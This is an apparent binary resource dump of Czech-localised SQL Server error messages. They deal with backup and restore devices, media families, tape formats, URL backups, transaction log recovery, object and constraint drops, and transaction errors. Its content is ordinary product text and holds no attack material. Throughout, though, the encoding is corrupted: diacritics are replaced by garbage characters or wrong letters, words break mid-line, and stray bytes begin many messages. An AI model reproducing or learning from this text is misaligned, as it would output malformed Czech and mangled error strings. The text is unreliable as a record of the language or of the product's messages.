�st� rodiny m�di� %2!s!, kter� je ji~ zpracov�v�na v zaY�zen� %3!s!. Zkontrolujte, zda jsou spr�vn zad�na z�lohovac� zaY�zen�. U p�skov�ch zaY�zen� zkontrolujte, zda jsou na
teny spr�vn� svazky.

�Z�pis metadat sn�mku do z�lo~n� sady pro soubor %1!s! selhal z dovodu neplatn�ho form�tu.

l}�dosti pro zaY�zen� %1!s! vyprael 
asov� limit.

�Operace pro zaY�zen� %1!s! pYekro
ila po
et optovn�ch pokuso.

PM�dium na
ten� v zaY�zen� %1!s! je form�tov�no tak, aby podporovalo rodiny m�di� %2!s!, ale podle specifikac� z�lo~n�ho zaY�zen� jsou o
ek�v�ny rodiny m�di� %3!s!.

�Svazek pYipojen� v zaY�zen� %1!s! nem� o
ek�vanou identitu z�lohovac�ho skladu. Svazek mo~e b�t zastaral� z dovodu nejnovja�ho pYeps�n� t�to rodiny m�di�. V tom pY�pad naleznte spr�vn� svazek s poYadov�m 
�slem %2!s! rodiny m�di� %3!s!.

Logick� soubor %1!s! nen� 
�st� datab�ze %2!s!. Chcete-li zobrazit seznam logick�ch n�zvo souboro, pou~ijte pY�kaz RESTORE FILELISTONLY.

�Soubor %1!s! nen� sou
�st� datab�ze %2!s!. Mo~ete zobrazit seznam pouze tch souboro, kter� jsou 
leny t�to datab�ze.

�Odhadovan� velikost z�lohy pYesahuje maxim�ln� povolenou velikost souboru na vzd�len�m koncov�m bodu.

�Z�lohovac� sklad v zaY�zen� %1!s! pou~�v� funkci Microsoft Tape Format, kterou syst�m SQL Server nepodporuje.

,Z�lohov�n� na sadu zrcadlen�ch m�di� vy~aduje pYipojen� vaech zrcadlen�ch m�di�. Zadejte vaechny 
leny sady nebo pYeform�tujte novou sadu m�di�.

�Rodina m�di� v zaY�zen� %1!s! je zform�tov�na nespr�vn. Syst�m SQL Server nemo~e zpracovat tuto rodinu m�di�.

�Soubor v zaY�zen� %1!s! nen� platn� z�lohovac� sklad Microsoft Tape Format.

4Rodina m�di� v zaY�zen� %1!s! byla vytvoYena prostYednictv�m verze Microsoft Tape Format %2!s!.%3!s!. Syst�m SQL Server podporuje verzi %4!s!.%5!s!.

�Velikost bloku popisova
e pYesahuje %1!s! bajto. Pou~ijte krata� Yetzec n�zvu nebo popisu a operaci opakujte.

tXetzec nelze pYev�st na nebo z k�du Unicode, %1!s!.

Rodina m�di� v zaY�zen� %1!s! je ozna
ena jako nepYipojiteln�. Pokud chcete toto m�dium pYepsat, opakujte pY�kaz s mo~nost� INIT.

�Svazek v zaY�zen� %1!s! m� chybn� poYadov� 
�slo m�dia (%2!s!). Odeberte jej a vlo~te svazek %3!s!.

 Svazek v zaY�zen� %1!s! je pokra
ovac�m svazkem pro z�lohovac� sklad. Odeberte jej a vlo~te svazek obsahuj�c� za
�tek z�lohovac�ho skladu.

tHodnota %1!s! nen� uvnitY rozsahu pro parametr %2!s!.

�NepodaYilo se kop�rov�n� sn�mku s n�zvem %1!s! a 
asov�m raz�tkem %2!s! do c�le %3!s!. Vr�cen� chyba: %4!s!.

�Parametr velikosti bloku mus� dodat hodnotu, kter� je druhou mocninou.

PSvazek v zaY�zen� %1!s! je pr�zdn�.

Sada dat v zaY�zen� %1!s! je z�lohovac� sklad syst�mu SQL Server, kter� nen� kompatibiln� s touto verz� syst�mu SQL Server.

Z�lohovac� sklad v zaY�zen� %1!s! byl ukon
en bhem vytv�Yen� a nen� �pln�. Posloupnost RESTORE byla ukon
ena abnorm�ln�m zposobem.

LNa diskov�m svazku %1!s! nen� dostatek voln�ho m�sta pro vytvoYen� datab�ze. Datab�ze potYebuje %2!s! dala�ch voln�ch bajto, k dispozici je ale jen %3!s! bajto.

,Svazek v zaY�zen� %1!s! nen� 
�st� sady m�di�, kter� se pr�v zpracov�v�. Zkontrolujte, zda jsou do z�lohovac�ch zaY�zen� vlo~ena spr�vn� m�dia.

�NepodaYilo se kop�rovat objekt blob s n�zvem %1!s! do c�le %2!s!. Vr�cen� chyba: %3!s!.

PVnitYn� vyrovn�vac� pame je pln�.

�Syst�m SQL Server nemo~e pou~�vat konfiguraci virtu�ln�ch zaY�zen�.

�Svazek v zaY�zen� %1!s! nelze pou~�vat jako pokra
ovac� svazek. M� poYadov� 
�slo %2!s! rodiny %3!s! pro aktu�ln� sadu m�di�. Vlo~te nov� svazek nebo poYadov� 
�slo %4!s! rodiny %5!s! pro aktu�ln� sadu.

Operace nepokra
ovala dostate
n dlouho, aby bylo mo~n� spustit pY�kaz RESTART. PY�kaz opakujte bez kvalifik�toru RESTART.

4PYihl�aen� nem� dostate
nou autoritu. Abyste mohli pou~�vat pY�kaz VIRTUAL_DEVICE s klauzulemi BACKUP nebo RESTORE, je tYeba 
lenstv� role sysadmin.

PZ�loha dat na konci %1!s! je zform�tov�na nespr�vn. Z�lohovac� sklady na m�diu mohou b�t poakozen� a nepou~iteln�. Chcete-li ur
it z�lohovac� sklady na m�diu, pou~ijte pY�kaz RESTORE HEADERONLY. Chcete-li ur
it pou~itelnost z�lohovac�ch sklado, spusete pY�kaz RESTORE VERIFYONLY. Jsou-li vaechny z�lohovac� sklady ne�pln�, pYeform�tujte m�dium pou~it�m pY�kazu BACKUP WITHFORMAT, kter� zni
� vaechny z�lohovac� sklady.

pNen� dostatek prostYedko k vytvoYen� pl�nova
e UMS.

 Z�lo~n� soubor %1!s! nelze pou~�t, proto~e byl povodn form�tov�n s velikost� sektoru %2!s! a nyn� je v zaY�zen� s velikost� sektoru %3!s!.

Soubor %1!s! nelze obnovit, proto~e byl povodn zaps�n s velikost� sektoru %2!s!. Nyn� je %3!s! v zaY�zen� s velikost� sektoru %4!s!.

�Doalo k vnitYn� chyb konzistence. Tato chyba je podobn� v�razu. Obraete se na technickou podporu.

�V souboru %1!s! doalo k neobnoviteln� vstupn-v�stupn� chyb: %2!s!.

tZaY�zen� %1!s! m� velikost sektoru hardwaru %2!s!, ale parametr velikosti bloku hl�s� nekompatibiln� hodnotu pYeps�n� %3!s!. Opakujte pY�kaz s pou~it�m kompatibiln� velikosti bloku.

Byla zjiatna nejednozna
nost masteru. Zadejte klauzuli PHYSMASTER nebo datab�zi replicatedmaster explicitn v akci %1!s!.

�Klauzuli WITH SNAPSHOT lze pou~�t, pouze pokud byl z�lohovac� sklad vytvoYen s klauzul� WITH SNAPSHOT.

�Klauzuli WITH SNAPSHOT lze pou~�t pouze u jednoho virtu�ln�ho zaY�zen�.

XNepodaYilo se zaaifrovat Yetzec %1!s!

\PY�stup byl odepYen z dovodu chyby hesla

�Z�lohy v nezpracovan�ch zaY�zen�ch nejsou podporov�ny. %1!s! je nezpracovan� zaY�zen�.

�NepodaYilo se spr�vn inicializovat soubor %1!s!. Podrobnja� informace naleznete v protokolech chyb.

lZna
ka souboru v zaY�zen� %1!s! nen� zarovnan�. Opakujte pY�kaz Restore se stejnou velikost� bloku, kter� byla pou~ita pro vytvoYen� sady z�loh: %2!s! vypad� jako mo~n� hodnota.

�Z�lohov�n� se nezdaYilo z dovodu neshody v metadatech souboru %1!s!.

�ID souboru %1!s! v zaY�zen� %2!s! nem� spr�vnou formu a nelze ho pYe
�st.

�PovYen� s n�zvem %1!s! neexistuje nebo u~ivatel nem� povolen pY�stup k dan�mu povYen�.

�Z�lo~n� zaY�zen� typu Adresa URL bylo zad�no bez povYen�. Operace z�lohov�n� nebo obnoven� nemo~e pokra
ovat.

�Z�lohov�n� na adresu URL obdr~elo v�jimku z koncov�ho bodu. Zpr�va v�jimky: %1!s!

�Byl zad�n typ z�lo~n�ho zaY�zen� Adresa URL a zak�zan� mo~nost %1!s!.

(PYi pokusu o z�lohov�n� nebo obnoven� se zadan�m zaY�zen�m Adresa URL doalo k chyb. Podrobnosti naleznete v protokolu chyb opera
n�ho syst�mu.

�PYi inicializaci z�lohov�n� nebo obnoven� na adresu URL doalo k chyb. Chybov� zpr�va: %1!s!.

�Pou~it� zaY�zen� typu Adresa URL je bhem operac� z�lohov�n� a obnoven� omezeno na jedno zaY�zen�.

�Chyba z�lohov�n� na adresu URL: NepodaYilo se z�skat v�hradn� pY�stup k souboru %1!s!.

�Soubor %1!s! se nach�z� na vzd�len�m koncov�m bod a nebyl zad�n parametr WITH FORMAT. Z�lohov�n� nemo~e pokra
ovat.

�Zadan� adresa URL nesplHuje zadan� po~adavky. Adresa URL mus� b�t bu pYelo~iteln� jako absolutn� nebo relativn� identifik�tor URI, nebo mus� b�t komponovan� jako sch�ma HTTP nebo HTTPS a nesm� obsahovat komponentu dotazu.

tChyba z�lohov�n� nebo obnoven� na adresu URL: %1!s!.

POperace BackupToUrl byla zah�jena.

0Transak
n� protokol obsahuje z�znam (logop %1!s!), kter� nen� platn�. Protokol byl poakozen. Obnovte datab�zi z �pln� z�lohy nebo datab�zi opravte.

PYi optovn�m prov�dn� protokolovan�ch operac� v datab�zi %1!s! se nepodaYilo dos�hnout konce protokolu v ID z�znamu protokolu %2!s!. Tento stav ukazuje na poakozen� v ID z�znamu protokolu %3!s!. Obnovte datab�zi z �pln� z�lohy, nebo datab�zi opravte.

lBhem optovn�ho prov�dn� protokolovan�ch operac� v datab�zi %1!s! (str�nka %2!s!, pokud njak�)doalo k chyb na ID z�znamu protokolu %3!s!. Obvykle je toto specifick� selh�n� ji~ pYedt�m protokolov�no jako chyba v protokolu chyb opera
n�ho syst�mu. Obnovte datab�zi z �pln� z�lohy nebo datab�zi opravte.

hBhem vracen� prov�dn� protokolovan�ch operac� v datab�zi %1!s! (str�nka %2!s!, pokud njak�)doalo k chyb na ID z�znamu protokolu %3!s!. Obvykle je toto specifick� selh�n� ji~ pYedt�m protokolov�no jako chyba v protokolu chyb opera
n�ho syst�mu. Obnovte datab�zi z �pln� z�lohy nebo datab�zi opravte.

�Bhem vracen� zpt n�sleduj�c� proces nebyl dr~itelem o
ek�van�ho z�mku: proces %1!s! s re~imem %2!s! na �rovni %3!s! pro Y�dek %4!s! v datab�zi %5!s! v transakci %6!s!. Obnovte z�lohu datab�ze nebo datab�zi opravte.

tBhem vracen� protokolovan�ch operac� v datab�zi %1!s! zpt doalo k chyb na ID z�znamu protokolu %2!s!. X�dek nebyl nalezen. Obnovte datab�zi z �pln� z�lohy nebo datab�zi opravte.

�Nastaven� sd�len� pamti 
�ta
e v�konu se nepodaYilo z dovodu chyby %1!s!. PYeinstalujte soubor sqlctr.ini pro tuto instanci a zkontrolujte, zda m� �
et pYihl�aen� instance spr�vn� opr�vnn� registru.

Verze konfigura
n�ho bloku %1!s! nem� platn� 
�slo verze. SQL Server se ukon
�. Obnovte hlavn� datab�zi nebo ji pYeinstalujte.

ID datab�ze %1!s!. Datab�zi nelze ozna
it jako podezYelou. Skenov�n� sys.databases.database_id prostYednictv�m pY�kazu Getnext NC se nezdaYilo. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v protokolu chyb.

�Datab�zi %1!s! nelze upgradovat, proto~e je jen pro 
ten�, obsahuje soubory jen pro 
ten�, nebo u~ivatel nem� opr�vnn� upravovat nkter� soubory. Upravte datab�zi nebo soubory tak, aby do nich bylo mo~n� zapisovat, a znovu spusete obnoven�.

Server obsahuje soubory jen pro 
ten�, kter� je tYeba pYed optovnou kolac� serveru upravit tak, aby se do nich dalo zapisovat.

�Hlavn� datab�zi nelze obnovit. Syst�m SQL Server nelze spustit. Obnovte hlavn� datab�zi z �pln� z�lohy, opravte ji nebo sestavte znovu. Dala� informace o optovn�m sestaven� hlavn� datab�ze naleznete na webu Knihy online pro SQL Server.

�Obnoven� datab�ze %1!s! se pYeskakuje, proto~e vy~aduje upgrade, ale datab�ze je ozna
ena pro pohotovostn� re~im. Pomoc� pY�kazu RESTORE DATABASE WITH NORECOVERY uvete datab�zi zp�tky do stavu pro obnoven� a pokra
ujte v posloupnosti obnoven�.

�Sn�mku datab�ze %1!s! se nezdaYila operace V/V a je ozna
en jako podezYel�. Je nutn� ho vyYadit a vytvoYit znovu.

tDatab�zi %1!s! (ID datab�ze %2!s!) nebylo mo~n� obnovit z dovodu nevyYeaen�ch v�sledko transakc�. Byly pYipraveny transakce slu~by MS DTC (Microsoft Distributed Transaction Coordinator), ale slu~ba MS DTC nedok�zala ur
it vyYeaen�. Xeaen�m je oprava slu~by MS DTC, obnoven� z pln� z�lohy nebo oprava datab�ze.

4PoYad� Yazen� a n�rodn� prostYed� nelze zmnit. PYi pokusu o pYeindexov�n� serveru na novou kolaci doalo k neo
ek�van� chyb. SQL Server se vyp�n�. Restartujte SQL Server a pokra
ujte pYi nezmnn�m poYad� Yazen�. Diagnostikujte pYedchoz� chyby, opravte je a operaci opakujte.

�PYi obnovov�n� datab�ze %1!s! doalo k chyb. Ke slu~b MS DTC (Microsoft Distributed Transaction Coordinator) se nelze pYipojit, tak~e nelze zkontrolovat stav dokon
en� transakc� %2!s!. Opravte slu~bu MS DTC a spusete obnoven� znovu.

4PYi spuatn� datab�ze %1!s! v z�lo~n�m pohotovostn�m re~imu (ID datab�ze %2!s!) byl jej� soubor v pohotovostn�m re~imu (%3!s!) nepY�stupn� pro pY�kaz RESTORE. Chyba opera
n�ho syst�mu %4!s!. Diagnostikujte chybu opera
n�ho syst�mu, probl�m opravte a pokuste se o nov� spuatn�.

�Datab�ze %1!s! (ID datab�ze %2!s!:%3!s!) byla ozna
ena jako pouze pro pohotovostn� re~im nebo jen pro 
ten�, byla vaak zmnna. PY�kaz RESTORE LOG nen� mo~n� prov�st. Obnovte datab�zi ze z�lohy.

 Soubor %1!s! nen� pro datab�zi %2!s! (ID datab�ze %3!s!) platn�m souborem pro vr�cen� zpt. OvYte cestu k souboru a ur
ete spr�vn� soubor.

�Prim�rn� soubor protokolu nen� pro datab�zi %1!s! (%2!s!:%3!s!) dostupn�. Protokol nelze z�lohovat.

�Vaechny soubory protokolu pro datab�zi %1!s! nebylo mo~n� aktivovat 
i prohledat.

PYi vr�cen� zpt byla nalezena str�nka s poYadov�m 
�slem polo~ky (LSN), kter� bylo ni~a� ne~ povodn� hodnota LSN z�znamu protokolu. Z�znam protokolu %1!s! pro ID transakce %2!s! na str�nce %3!s! datab�ze %4!s! (%5!s!:%6!s!) nebylo mo~n� vr�tit zpt. Informace na str�nce: LSN = %7!s!, typ = %8!s!. Informace o protokolu: OpCode = %9!s!, kontext %10!s!. Obnovte nebo opravte datab�zi.

8SQL Server se mus� vypnout, aby bylo mo~n� obnovit datab�zi (ID datab�ze %1!s!). Bu se jedn� o u~ivatelskou datab�zi, kterou vypnout nelze, nebo o syst�movou datab�zi. Restartujte SQL Server. Pokud se po dala�m spuatn� obnoven� datab�ze nezdaY�, opravte nebo obnovte datab�zi.

4Tato verze neumo~Huje opakovat vytv�Yen� indexo nebo nezaprotokolovan� operace proveden� syst�mem SQL Server 7.0. Dala� dopYedn� posunut� nen� mo~n�.

�Z�znam protokolu %1!s! pro ID transakce %2!s! na str�nce %3!s!, aloka
n� jednotky %4!s!, datab�ze %5!s! (ID datab�ze %6!s!) nebylo mo~n� opakovat. Str�nka: LSN = %7!s!, aloka
n� jednotka = %8!s!, typ = %9!s!. Protokol: OpCode = %10!s!, kontext %11!s!, PrevPageLSN: %12!s! Obnovte datab�zi ze z�lohy, nebo datab�zi opravte.

|Spr�vce prostYedko transak
n�ho syst�mu souboro %1!s! se nepovedlo zotavit. Dala� informace naleznete v doprovodn� chybov� zpr�v, ve kter� je uvedeno, jak m� u~ivatel d�le postupovat.

,Obnoven� nemo~e v datab�zi %1!s! vyhledat vyYazen� aloka
n� jednotky, proto~e doalo k neo
ek�van� chyb. Tyto aloka
n� jednotky nelze odstranit.

PYi obnoven� datab�ze %1!s! se nepodaYilo znovu pYidat soubor pro soubor %2!s!. OdstraHte pY�sluan� soubor a opakujte operaci.

�Datab�zi (ID datab�ze %1!s!), kter� obsahuje pameov optimalizovan� data, se nepovedlo vypnout. Uvete datab�zi do konzistentn�ho stavu restartov�n�m SQL Serveru. Pokud se datab�zi po restartov�n� nepovede obnovit, opravte ji nebo ji obnovte.

�NepodaYilo se po
kat na XTP %1!s! k dokon
en� bhem obnoven�.

�PYi obnoven� datab�ze %1!s! doalo k chyb. V�sledek transakce nejde pYelo~it.

�PYi Yeaen� odlo~en� transakce doalo k chyb. V�sledek transakce: %1!s!, IsDeferred: %2!s!.

�PYi Yeaen� odlo~en� transakce doalo k chyb. Transakce nebyla nalezena.

�PY�kaz CHECKPOINT mo~e spustit pouze vlastn�k datab�ze %1!s! nebo osoba s odpov�daj�c�mi opr�vnn�mi.

lOvYen� sch�matu se pro datab�zi %1!s! nezdaYilo.

\Tokenu nelze pYidlit identifik�tor GUID.

�Transakce skon
ila v aktiva
n� ud�losti. D�vka byla pYeruaena.

�PYi spuatn� aktiva
n� ud�losti doalo k chyb. D�vka byla pYeruaena a pY�padn� u~ivatelsk� transakce byla vr�cena zpt.

xDoalo k neplatn� operaci s plovouc� desetinnou 
�rkou.

<Kontrola syst�mov�ho v�razu se nezdaYila. Podrobnosti naleznete v protokolu chyb syst�mu SQL Server. Neplatnost kontroln�ho v�razu b�v� obvykle zposobena softwarovou chybou nebo poakozen�m dat. PY�padn� poakozen� datab�ze mo~ete zkontrolovat pomoc� pY�kazu DBCC CHECKDB. Pokud jste pYi instalaci odsouhlasili zas�l�n� v�piso spole
nosti Microsoft, bude spole
nosti Microsoft odesl�n mal� v�pis. Aktualizace bude pravdpodobn k dispozici v nejnovja� aktualizaci Service Pack spole
nosti Microsoft nebo v oprav Hotfix technick� podpory.

XFunkce %1!s! nen� dosud implementov�na.

�Nelze za
�t s novou paraleln� operac�, proto~e v sou
asn� dob se jich prov�d� pY�lia mnoho. Zvyate po
et povolen�ch vl�ken pomoc� mo~nosti konfigurace Maxim�ln� po
et pracovn�ch vl�ken, nebo sni~te po
et paraleln�ch operac� spuatn�ch v syst�mu.

�Datab�zov� stroj pYi zpracov�n� po~adavku u~ivatele dostal v�jimku z opera
n�ho syst�mu t�kaj�c� se plovouc� desetinn� 
�rky. Opakujte transakci. Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�Opera
n� syst�m vr�til chybu %1!s! pYi pokusu o operaci %2!s! na objektu %3!s! v %4!s!(%5!s!).

�Opera
n� syst�m vr�til chybu %1!s! pYi pokusu o operaci %2!s! na objektu %3!s!.

�PYi zpracov�n� metadat %1!s! pro ID datab�ze %2!s!, ID souboru %3!s! a transakce=%4!s! doalo k chyb. Dala� kontext = %5!s!. Um�stn�=%6!s!(%7!s!). Zkuste prov�st operaci znovu. Pokud pot�~e potrvaj�, obraete se na spr�vce datab�ze, aby zkontroloval konfiguraci z�mku a pamti. Zkontrolujte, zda aplikace nen� vz�jemn zablokovan�.

�PYi zpracov�n� metadat %1!s! pro datab�zi s ID %2!s!, ID souboru %3!s! doalo k chyb.

lParaleln� operaci nelze spustit z pYipojen� DAC.

�Uplynul� 
as operace pYekro
il maxim�ln� 
as zadan� pro tuto operaci. Prov�dn� bylo zastaveno.

�Nelze prov�st akci %1!s! s objektem %2!s! %3!s!. Objekt neexistuje nebo nem�te pY�sluan� opr�vnn�.

xDatab�zi %1!s! nelze vyYadit, proto~e se pr�v pou~�v�.

�Datab�zi %1!s! %2!s! nelze odpojit, proto~e se pr�v pou~�v�.

�Nelze pou~�t pY�kaz DROP %1!s! s %2!s!, proto~e %3!s! je %4!s!. Pou~ijte %5!s!.

DNelze %1!s! sn�mek datab�ze.

�Nelze odpojit podezYelou datab�zi nebo datab�zi 
ekaj�c� na obnoven�. Je tYeba ji opravit nebo vyYadit.

�Nelze prov�st operaci %1!s! s objektem %2!s! %3!s!, proto~e se jedn� o syst�mov� objekt %4!s!.

�Nelze prov�st operaci %1!s! s datab�z�, na kterou odkazuje sn�mek datab�ze %2!s!. Nejprve tuto datab�zi vyYate.

�Pokud je server v minim�ln nakonfigurovan�m re~imu, otevYenou datab�zi nelze odpojit.

�%1!s! %2!s! nelze vyYadit, proto~e je sv�z�na s nejm�n jedn�m %3!s!.

�PY�kazem DROP DEFAULT nelze vyYadit v�choz� omezen�. V�choz� omezen� vyYad�te pY�kazem ALTER TABLE.

�Typ %1!s! nelze pYejmenovat, proto~e k nmu odkazuje objekt %2!s!.

�U indexu %1!s! nen� povolen v�slovn� pY�kaz DROP INDEX. Pou~�v� se pro vynucen� omezen� %2!s!.

�Nelze prov�st operaci %1!s! s objektem %2!s! %3!s!, proto~e se pou~�v� k replikaci.

�Na omezen� %1!s! odkazuje tabulka %2!s!, omezen� ciz�ho kl�
e %3!s!.

�Objekt %1!s! nebylo mo~n� vyYadit, proto~e na nj odkazuje omezen� FOREIGN KEY.

0%1!s! nen� omezen�.

|Nelze %1!s! %2!s!, proto~e na nj odkazuje objekt %3!s!.

�V okam~iku, kdy ciz� kl�
 pou~�v� v�choz� omezen� %1!s! jako referen
n� akci SET DEFAULT, nelze toto omezen� vyYadit.

�Typ %1!s! nelze vyYadit, proto~e na nj odkazuje objekt %2!s!. Na tento typ mohou odkazovat i dala� objekty.

TOmezen� %1!s! nen�le~� tabulce %2!s!.

�Omezen� prim�rn�ho kl�
e %1!s! nebylo mo~n� vyYadit, proto~e tabulka m� index XML nebo prostorov� index.

�Omezen� prim�rn�ho kl�
e %1!s! tabulky %2!s! nelze vyYadit, proto~e v tabulce je povoleno sledov�n� zmn. Sledov�n� zmn vy~aduje, aby v tabulce bylo omezen� prim�rn�ho kl�
e. Ne~ vyYad�te omezen�, zaka~te sledov�n� zmn.

�Soubor %1!s! nelze odstranit. Podrobnosti naleznete v protokolu chyb syst�mu SQL Server.

|Nelze %1!s! index %2!s!, proto~e nen� kolekc� statistiky.

�Nelze vyYadit %1!s! %2!s!, proto~e nejm�n 
�st tabulky se nach�z� ve skupin souboro jen pro 
ten�.

�Nelze vyYadit %1!s! %2!s!, proto~e nejm�n 
�st tabulky se nach�z� ve skupin souboro v re~imu offline.

�Zrcadlen� pro datab�zi %1!s! bylo povoleno. PYed vyYazen�m datab�ze je tYeba odstranit zrcadlen�.

�V pY�kazu, ve kter�m byl index vyYazen online, je povolena pouze jedna klauzule.

dPouze clusterovan� index lze vyYadit online.

�Clusterovan� index zobrazen� %1!s! nelze vyYadit, proto~e zobrazen� se pou~�v� pro replikaci.

PClusterovan� index vytvoYen� v zobrazen� nelze vyYadit pomoc� klauzule pro vyYazen� clusterovan�ho indexu. Clusterovan� index %1!s! je vytvoYen v zobrazen� %2!s!.

�Neclusterovan� index %1!s! nelze vyYadit pomoc� klauzule pro vyYazen� clusterovan�ho indexu.

�Index XML %1!s! nelze vyYadit pomoc� star� syntaxe Table.Index, pou~ijte syntaxi Index ON Table.

�PY�kaz SP_DROPEXTENDEDPROC nebo DBCC DROPEXTENDEDPROC nelze pou~�t s %1!s!, proto~e %2!s! je %3!s!. Pou~ijte %4!s!.

Datab�ze %1!s! je aktu�ln pYipojena ke skupin dostupnosti.  PYed vyYazen�m datab�ze je tYeba odebrat ji ze skupiny dostupnosti.

�Nelze %1!s! 
len federace %2!s!, proto~e koYenov� datab�ze federace neexistuje.

�Proveden� pY�kazu TRUNCATE TABLE se nezdaYilo. Index %1!s! pou~�v� funkci odd�lu %2!s!, ale tabulka %3!s! pou~�v� funkci odd�lu %4!s!, kter� nen� ekvivalentn�. Index a tabulka mus� pou~�vat ekvivalentn� funkci odd�lu.

hNen� mo~n� odstranit datab�zi, ke kter� jsou sn�mky souboro. M�sto odstrann� datab�zi jenom odpojte nebo odstraHte sn�mky souboro a pak zkuste odstrann� datab�ze zopakovat.

\V�raz TRUNCATE TABLE selhal. Index %1!s! nen� dlen� na odd�ly, ale tabulka %2!s! pou~�v� funkci odd�lu %3!s!. Index a tabulka mus� pou~�vat ekvivalentn� funkci odd�lu.

Kdy~ se odstraHuje klastrovan� %1!s! %2!s! v tabulce %3!s!, klauzule WAIT_AT_LOW_PRIORITY nen� povolen� bez mo~nosti ONLINE = ON.

�Kdy~ je zadan� klauzule WAIT_AT_LOW_PRIORITY, nejde prov�st odstrann� pro v�c %1!s!.

�Kdy~ je pou~it� klauzule WAIT_AT_LOW_PRIORITY, omezen� %1!s! %2!s! nejde odstranit.

�Nejde odpojit index %1!s! na zobrazen� %2!s!, kter� m� SNAPSHOT_MATERIALIZATION.

�Soubor %1!s! z�lohovan� SBS nejde odstranit. Podrobnosti najdete v protokolu chyb syst�mu SQL Server.

�N�zev sloupce %1!s! se dostate
n nelia� od n�zvo ostatn�ch sloupco tabulky %2!s!.

�VytvoYen� se nezdaYilo, proto~e vaechny dostupn� identifik�tory byly vy
erp�ny.

Upgrade datab�ze %1!s! se nezdaYil, proto~e index %2!s! objektu s ID %3!s! m� stejn� n�zev jako dala� index ve stejn� tabulce.

�Upgrade pYihl�aen� %1!s! se nezdaYil, proto~e m� stejn� n�zev nebo SID jako jin� pYihl�aen� nebo role serveru.

LM�stn� pYihl�aen� namapovan� na vzd�len� pYihl�aen� %1!s! na serveru %2!s! je neplatn�. PYed proveden�m upgradu vzd�len� pYihl�aen� vyYate a vytvoYte je znovu.

PM�stn� pYihl�aen� namapovan� na propojen� pYihl�aen� %1!s! na serveru %2!s! je neplatn�. PYed proveden�m upgradu propojen� pYihl�aen� vyYate a vytvoYte je znovu.

Upgrade pYihl�aen� %1!s! se nezdaYil, proto~e hodnota hash hesla je neplatn�. PYed proveden�m upgradu aktualizujte heslo pro pYihl�aen�.

LPolo~ku pro index s ID %1!s! objektu s ID %2!s! v datab�zi s ID %3!s! nebylo mo~n� naj�t. Pravdpodobn doalo k poakozen� sch�matu. Spusete pY�kaz DBCC CHECKDB.

Operace u objektu %1!s! je zablokov�na. Jedn� se o objekt FileTable definovan� syst�mem. U~ivatelsk� �pravy nejsou povoleny.

�Fond zdrojo %1!s! neexistuje nebo nebyl konfigurov�n spr�vce zdrojo.

�VnitYn� fond prostYedko se pro datab�zi tempdb ned� pou~�t.

�Nastaven� fondu zdrojo pro datab�zi tempdb se nepovedlo. Opakujte operaci s platn�m fondem.

�Pou~�v�-li se transakce s mo~nost� zna
ek, je tYeba ur
it jej� n�zev.

�Neexistuje po~adavek BEGIN TRANSACTION odpov�daj�c� po~adavku COMMIT TRANSACTION.

�Neexistuje po~adavek BEGIN TRANSACTION odpov�daj�c� po~adavku ROLLBACK TRANSACTION.

$Nelze zruait rozdlen� logick� str�nky %1!s! v objektu %2!s! v datab�zi %3!s!. Ob str�nky obsahuj� v�ce dat, ne~ se vejde na jednu str�nku.

�Po
et vnoYen�ch transakc� dos�hl maxim�ln� povolen� hodnoty 4294967296.

�Aktualizace datab�ze %1!s! se nezdaYila, proto~e datab�ze je jen pro 
ten�.

pPYi pYistupov�n� k Y�dku ozna
en�mu verz� v tabulce %1!s! v datab�zi %2!s! byla transakce pYeruaena. Po~adovan� Y�dek ozna
en� verz� nebyl v trval�m �lo~iati verz� nalezen. Vaae datab�ze pravdpodobn 
el� nedostatku m�sta. Dala� informace, jak nakonfigurovat velikost datab�ze, naleznete v knih�ch online.

,V datab�zi %1!s! nebylo mo~n� spustit pY�kaz BEGIN TRANSACTION, proto~e se nach�z� v nouzov�m re~imu nebo je poakozen� a je nutn� ji restartovat.

HToken vazby relace je neplatn�.

XKontext transakce pou~�v� jin� relace.

�Trval� �lo~iat verz� je pln�. Nov� verze nebylo mo~n� pYidat. Transakce, kter� pY�stup k tomuto �lo~iati verz� potYebuje, mo~e b�t vr�cena zpt. Dala� informace, jak zv�ait maxim�ln� velikost datab�ze, najdete v knih�ch online.

�Pokud server nen� ve vol�n� XP, nelze vytvoYit vazbu pomoc� tokenu XP.

xChyba protokolu obnoven� pYipojen� TDS (Tabular Data Stream). Ovlada
 klienta vy~aduje sou
asn ResetConnectionKeepLocalXact i ResetConnectionKeepDTCXact. To nen� v serveru o
ek�v�no.

LDatov� typ %1!s! je neplatn� pro n�zvy transakc� a ulo~en�ch bodo. Mezi povolen� datov� typy patY� char, varchar, nchar, varchar(max), nvarchar a nvarchar(max).

|V r�mci pY�kazu INSERT-EXEC nelze pou~�t pY�kaz ROLLBACK.

�Pokud se nejdY�ve nepou~ije pY�kaz BEGIN TRANSACTION, nelze v r�mci pY�kazu INSERT-EXEC pou~�t pY�kaz COMMIT.

�Relace se v�~e k pou~�van�mu kontextu transakce. Dala� pY�kazy v d�vce byly ignorov�ny.

�PY�kaz nebo funkci je tYeba vykonat v kontextu u~ivatelsk� transakce.

�Nelze uv�st v transakci, proto~e transakce ji~ byla zaps�na nebo vr�cena zpt.

�Pokud ~�dn� transakce nen� aktivn�, nejde z�skat token transakce. Po zah�jen� transakce vydejte pY�kaz znovu.

xNelze uv�st v transakci, proto~e transakce neexistuje.

�Neplatn� n�zev ozna
en� transakce. Pro ozna
en� transakce je vyhrazena pYedpona LSN:.

Ozna
en� transakce %1!s! se nezdaYila. PYi pokusu um�stit zna
ku do protokolu zaps�n�m ozna
en� transakce vyprael 
asov� limit. Dovodem mo~e b�t spor s transakcemi slu~by MS DTC (Microsoft Distributed Transaction Coordinator) nebo s jinou m�stn� transakc�, kter� byla pYipravena, ale nebyla zaps�na nebo pYeruaena. Zkuste operaci prov�st znovu a pokud chyba pYetrv�v�, ur
ete zdroj sporu.

�V datab�zi jednoho u~ivatele nejsou povoleny distribuovan� nebo v�zan� transakce.

�Aktu�ln� transakci nelze zapsat. Operace zapisuj�c� do souboru protokolu nejsou podporov�ny. Vraete transakci zpt.

�Aktu�ln� transakci nelze zapsat a vr�tit zpt do ulo~en�ho bodu. Vraete zpt celou transakci.

�Zadan� n�zev ulo~en�ho bodu %1!s! je pY�lia dlouh�. Maxim�ln� povolen� d�lka je %2!s! znako.

�Transakci nelze pov�ait na distribuovanou transakci, proto~e se v t�to transakci nach�z� aktivn� bod ulo~en�.

